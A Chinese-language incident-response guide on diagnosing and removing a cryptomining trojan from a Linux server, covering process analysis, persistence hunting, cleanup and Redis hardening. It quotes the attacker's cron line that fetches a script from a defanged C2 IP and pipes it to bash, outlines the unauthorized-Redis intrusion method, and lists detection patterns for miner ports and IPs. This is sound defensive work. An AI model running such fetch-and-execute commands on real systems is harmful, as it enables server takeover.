服务器CPU飙升100%?手把手教你排查与清理挖矿木马

1. 项目概述:当服务器CPU突然“发烧”

最近处理了一起典型的服务器安全事件,一台线上业务服务器的CPU使用率在凌晨时段毫无征兆地飙升至100%,并且持续不退。登录系统一看,top命令下,一个陌生的进程kthreaddk赫然排在首位,吃掉了绝大部分的CPU资源。这几乎是挖矿木马(Cryptojacking Malware)最经典的“名片”——它们悄无声息地入侵,然后劫持你的计算资源,默默地为攻击者“挖矿”牟利。

对于运维、安全工程师甚至开发者来说,遇到这种情况,绝不能简单地kill进程了事。粗暴的终止操作往往治标不治本,木马很可能设置了守护进程、定时任务或系统服务,在你重启后“春风吹又生”。一次完整的应急响应(Incident Response),目标不仅是清除眼前的异常,更要追溯入侵源头、评估影响范围、修复安全漏洞,并建立防护措施,防止再次发生。

这篇手册,就是基于多次实战经验,梳理出的一套从“发现异常”到“根除加固”的完整操作流程。无论你是第一次面对这种状况的新手,还是想完善自己排查思路的老手,都可以按图索骥,一步步将潜伏在系统中的“矿工”彻底清理干净。

2. 应急响应核心思路与流程设计

应急响应不是无头苍蝇似的乱撞,而是一场有策略的“排雷”行动。核心思路可以概括为:“先控制,后分析;先止血,再根治;由现象,溯源头”

2.1 响应阶段划分与核心目标

一次规范的应急响应通常分为几个阶段,每个阶段目标明确:

  1. 准备与检测阶段:平时就要准备好排查工具包(如busybox静态编译版本、chkrootkitrkhunter等),并建立监控告警(如CPU持续>90%超过5分钟)。本次事件正是通过监控告警触发的。
  2. 抑制与遏制阶段:这是最先要做的事。发现异常后,如果业务允许,应立即将受影响服务器从网络隔离(拔网线或防火墙阻断),防止木马横向移动或对外通信。如果业务关键,至少要在主机层面限制异常进程的资源(如用cpulimit限制CPU使用率),为排查争取时间。
  3. 分析与溯源阶段:这是最核心的部分。我们需要回答几个关键问题:这是什么恶意程序?它怎么进来的?(入侵途径)它还做了什么?(影响范围)它有没有同伙?(关联进程、文件、网络连接)。
  4. 根除与恢复阶段:根据分析结果,制定清理方案。不仅要删除恶意文件,还要清除持久化机制(如crontab、systemd服务、启动项)。清理后,恢复业务并验证。
  5. 总结与加固阶段:事后必须复盘,撰写报告。更重要的是修复导致入侵的漏洞(如弱口令、未授权访问的Redis),调整安全策略,并可能部署HIDS(主机入侵检测系统)等更高级的防护。

2.2 为什么不能直接kill进程?

很多人的第一反应是找到高CPU进程然后kill -9。这非常危险,原因有三:

  • 可能误杀:高CPU进程不一定都是恶意的,也可能是正常的业务进程突发异常。
  • 打草惊蛇:一些高级木马有“看门狗”机制,主进程被杀死后,守护进程会立即重新拉起来,或者触发更隐蔽的后门。
  • 丢失线索:运行中的进程在内存中,其打开的文件、网络连接、子进程关系都是宝贵的分析线索。直接杀掉,这些信息就丢失了。

正确的做法是:先观察、记录、分析,再清理。我们的排查路径,正是遵循这个原则,像侦探一样层层剥茧。

3. 从CPU飙升开始的层层排查

当接到CPU告警后,我们需要一套由表及里、由浅入深的排查命令组合拳。以下操作,建议在隔离环境或做好记录的情况下进行。

3.1 初步定位:谁在消耗CPU?

首先,我们需要快速定位罪魁祸首。

# 1. 经典top命令,按CPU排序(进入后按P) top # 2. 更直观的htop(如果已安装) htop # 3. 使用ps命令快速查看高CPU进程 ps aux --sort=-%cpu | head -20

top中,我们发现了名为kthreaddk的进程,PID为7853,CPU占用98.6%。这个名字明显在模仿系统内核线程kthreadd,企图鱼目混珠。

注意:挖矿木马进程名常常具有欺骗性,例如kthreaddkworkermysqlsnginxs等,与系统或常见业务进程仅一字之差。需要仔细辨认。

3.2 深入分析:进程的详细画像

找到可疑进程后,不要急着杀,先把它查个底朝天。

# 1. 查看进程的详细信息,包括启动路径 # 通过/proc文件系统查看 ls -la /proc/7853/exe # 查看进程实际执行文件路径 cat /proc/7853/cmdline # 查看启动命令,可能被混淆 cat /proc/7853/environ # 查看进程环境变量,有时会有C2地址 # 2. 查看进程打开的文件和网络连接 lsof -p 7853 # 重点关注:它打开了哪些文件(配置文件、日志、矿池地址文件)?监听了什么端口?连接了哪个外部IP? # 3. 查看网络连接,定位C2服务器或矿池 netstat -antp | grep 7853 # 或使用ss命令 ss -antp | grep 7853 # 如果发现对陌生IP(尤其是海外IP)的持续TCP连接,极可能是矿池地址。

通过ls -la /proc/7853/exe,我们发现这个进程的实际执行文件是/tmp/.X11-unix/.rsync/kthreaddk。路径藏得很深,在/tmp下的隐藏目录中,这是木马的常见藏身地。

通过netstat,我们发现该进程正与一个IP45.9.148[.]1893333端口保持长连接。通过威胁情报平台(如微步在线、VirusTotal)查询,该IP被标记为门罗币(XMR)矿池地址,这坐实了挖矿行为。

3.3 关联排查:寻找同伙与持久化痕迹

一个成熟的挖矿木马很少单兵作战。我们需要排查它可能留下的“后手”。

# 1. 查看可疑进程的父进程及子进程树 pstree -aps 7853 # 看看是谁启动了它,它又启动了谁。可能发现通过bash脚本或下载器启动。 # 2. 排查常见的持久化位置 # a) 定时任务 - 攻击者最常用的复活手段 crontab -l # 当前用户 cat /etc/crontab # 系统级 ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ ... # 查看所有cron目录 # 特别注意里面是否有下载执行sh脚本的命令,如 curl ... | bash # b) 系统服务 systemctl list-unit-files --type=service | grep enabled # 检查是否有陌生的服务。重点关注名称像系统服务但实为恶意的。 ls -la /etc/systemd/system/ /usr/lib/systemd/system/ | grep -E '(kthread|mine|pool|\.service)' # c) 启动项 ls -la /etc/rc.local /etc/rc.d/rc.local # 老式系统 ls -la /etc/init.d/ # SysV init # d) 用户配置文件 检查 ~/.bashrc, ~/.bash_profile, ~/.profile,看是否有恶意命令在登录时执行。 # 3. 查找近期被修改的可执行文件或脚本 find / -type f -name "*.sh" -o -name "*kthread*" -o -name "*mine*" -mtime -7 2>/dev/null | head -20 find /tmp /var/tmp -type f -mtime -2 2>/dev/null # 重点查临时目录

在这次案例中,我们在/etc/cron.d/目录下发现了一个名为syslog的文件(又是伪装),内容如下:

*/10 * * * * root curl -s http://45.9.148[.]189/logo3.jpg | bash > /dev/null 2>&1

这证实了攻击者通过定时任务每10分钟尝试从C2服务器拉取脚本执行,用于更新木马或确保进程存活。

3.4 影响评估:它还在哪里动了手脚?

挖矿木马除了消耗CPU,还可能进行其他恶意操作。

# 1. 检查是否有SSH后门 检查 ~/.ssh/authorized_keys 文件,看是否被添加了攻击者的公钥。 检查 /etc/ssh/sshd_config 是否被修改。 # 2. 检查内核模块 lsmod | grep -E '(hp|hid|snd|lib)' # 一些rootkit会加载恶意内核模块 find /lib/modules -name "*.ko" -mtime -7 2>/dev/null # 3. 检查账户 cat /etc/passwd | grep -E “/bin/bash|/bin/sh” # 查看所有可登录用户 last # 查看登录历史,有无异常IP

经过检查,本次事件未发现SSH后门和新增用户,主要影响是资源耗尽和潜在的定时任务后门。

4. 清理与加固:彻底铲除并亡羊补牢

分析清楚后,就可以开始安全地清理了。顺序很重要:先清除持久化机制,再停止进程,最后删除文件

4.1 步骤一:清除持久化项目

这是防止“死灰复燃”的关键。

# 1. 删除恶意定时任务 rm -f /etc/cron.d/syslog # 删除我们发现的恶意cron文件 # 再次全面检查一遍所有cron目录,确保没有遗漏 find /etc/cron* -type f -exec grep -l "45.9.148" {} \; 2>/dev/null # 2. 如果发现了恶意系统服务,停止并禁用 systemctl stop malicious-service-name systemctl disable malicious-service-name rm -f /etc/systemd/system/malicious-service-name.service systemctl daemon-reload # 3. 清理启动项和配置文件 # 检查并清理 /etc/rc.local, ~/.bashrc 等文件中添加的恶意命令

4.2 步骤二:终止恶意进程

现在可以干掉进程了。

# 1. 先尝试正常终止 kill 7853 # 等待几秒,用top或ps检查是否还在 # 2. 如果还在,强制终止 kill -9 7853 # 3. 检查是否有子进程或关联进程也被启动,一并终止 # 根据之前pstree的结果来操作

4.3 步骤三:删除恶意文件

进程终止后,删除其相关文件。

# 1. 删除进程本体文件 rm -rf /tmp/.X11-unix/.rsync/ # 删除整个隐藏目录 # 2. 查找并删除可能的其他组件(如下载器、配置文件) find / -name "*kthreaddk*" -o -name "*xmrig*" -o -name "*miner*" 2>/dev/null | xargs rm -rf # 注意:find的删除操作要非常谨慎,最好先echo列出确认,再执行删除。 # 3. 清理可能残留的日志或临时文件

4.4 步骤四:修复入侵途径

清理完成后,必须找到漏洞点,否则很快又会被入侵。

  • 检查漏洞:回顾服务器近期变更。常见入口有:
    • 弱口令爆破:检查/var/log/secure/var/log/auth.log,看是否有大量失败登录尝试。
    • 未授权访问服务:如Redis、Docker API、Hadoop YARN等对外开放且无认证。
    • 应用漏洞:如Web应用的RCE漏洞(ThinkPHP, Log4j等)。
    • 恶意软件包:通过pip、npm、docker pull等引入的带矿机代码的包。
  • 本次案例溯源:我们检查了Redis日志,发现大量来自外网的CONFIG SET dirSET命令,这是典型的利用未授权Redis写入定时任务的入侵手法。原因是运维在测试时,将Redis绑定在了0.0.0.0且未设置密码。

加固措施

  1. 立即为Redis设置强密码,并修改redis.confbind 127.0.0.1requirepass YourStrongPassword
  2. 修改所有系统的弱口令,启用密钥登录,禁用root远程登录。
  3. 更新系统和应用软件到最新版本,修复已知漏洞。
  4. 配置防火墙(如iptables, firewalld),最小化开放端口。
  5. 考虑部署文件完整性监控(如AIDE)或主机入侵检测系统(HIDS),以便下次能更快发现异常。

5. 常见问题与高级排查技巧

在实际响应中,情况可能更复杂。下面是一些进阶问题和应对技巧。

5.1 进程隐藏怎么办?—— 使用未受污染的工具

高级的Rootkit会Hook系统调用,让pstopnetstat等命令也看不到它们。这时需要使用静态编译的、不受宿主系统库影响的工具。

# 从干净的机器上下载静态编译的busybox,上传到受害服务器 chmod +x busybox ./busybox ps ./busybox netstat # 或者使用`/proc`文件系统直接查看 ls -la /proc/[0-9]*/exe | grep deleted # 查找已被删除但进程还在的文件(无磁盘文件)

5.2 文件被删除怎么办?—— 内存取证与网络流量分析

如果恶意进程文件在运行后被删除,磁盘上就找不到了。但进程还在内存中。

  • 内存取证:可以使用gcore命令对可疑进程生成核心转储文件,然后用stringsVolatility等工具分析内存镜像,提取恶意代码片段。
    gcore -o malcore 7853 strings malcore.7853 | grep -A5 -B5 "pool"
  • 网络流量分析:如果服务器上有tcpdump,可以抓包分析通信内容。挖矿协议(如Stratum)的流量特征比较明显。

5.3 排查脚本化与自动化

对于拥有大量服务器的环境,手动排查不现实。可以编写一个轻量化的排查脚本,在发现异常时快速分发执行,收集信息。

#!/bin/bash # quick_check.sh - 快速安全排查脚本 echo "=== 高CPU进程 Top10 ===" ps aux --sort=-%cpu | head -11 echo "" echo "=== 可疑网络连接 ===" netstat -antp | grep -E ‘(45\.9\.148\.189|:3333|:5555|:6666|:9999)‘ echo "" echo "=== 可疑定时任务 ===" find /etc/cron* -type f -exec ls -la {} \; find /etc/cron* -type f -exec cat {} \; 2>/dev/null | grep -v "^#" echo "" echo "=== /tmp目录可疑文件 ===" ls -la /tmp/ /var/tmp/ 2>/dev/null | grep -E “^d|\.(sh|py|elf)$”

实操心得:脚本不要在生产环境直接curl | bash运行,避免被中间人攻击或本身就被篡改。应先下载到本地审计,再用安全渠道上传到目标服务器执行。

5.4 挖矿木马家族识别与特征

了解常见家族有助于快速判断:

  • XMRig:最流行的门罗币挖矿程序。特征进程名可能为xmrig,或伪装成syslogkthreadd。连接矿池端口常为333355557777等。
  • SystemdMiner:利用Systemd服务持久化。会创建systemd-login.service之类的恶意服务。
  • Redis未授权访问利用脚本:通常通过写入/var/spool/cron/root/etc/cron.d/进行持久化,下载的shell脚本通常来自pastebin或攻击者自己的HTTP服务器。
  • Docker容器逃逸挖矿:因容器配置不当(特权模式、挂载宿主机目录)导致,恶意进程会在宿主机上运行。

排查清单速查表

排查项命令/路径寻找什么
CPU占用top,htop,ps aux --sort=-%cpu陌生、高CPU、模仿系统名的进程
进程详情ls -la /proc/<PID>/exe,cat /proc/<PID>/cmdline进程的真实路径、启动参数
网络连接netstat -antp,ss -antp,lsof -p <PID>连接陌生IP(矿池)、长时间连接
持久化-定时任务crontab -l,/etc/crontab,/etc/cron.d/,/var/spool/cron/包含`curl
持久化-系统服务systemctl list-unit-files,/etc/systemd/system/,/usr/lib/systemd/system/陌生、伪装的服务文件
持久化-启动项/etc/rc.local,/etc/init.d/,~/.bashrc添加了恶意启动命令
文件系统find /tmp /var/tmp -type f -mtime -2,find / -name “*xmrig*”临时目录下的可疑脚本、二进制文件
账户与日志last,cat /etc/passwd,grep “Failed password” /var/log/secure异常登录IP、新增用户、爆破痕迹

处理完这次事件,我最大的体会是:安全是一个持续的过程,而非一次性的动作。应急响应是“救火”,但真正的价值在于“防火”。通过这次挖矿事件,我们不仅清理了木马,更重要的是推动了全公司Redis实例的安全配置整改,并上线了基于主机的异常进程监控。对于运维人员来说,保持对系统资源的常态化监控(不仅仅是CPU,还有异常端口、未知进程),对公网服务实行最小化暴露原则,定期进行安全扫描和漏洞修复,这些日常“琐事”才是抵御此类自动化攻击最坚实的盾牌。下次再看到CPU飙升,你就能从容地按照这套“隔离-分析-清理-溯源-加固”的组合拳,快速解决问题了。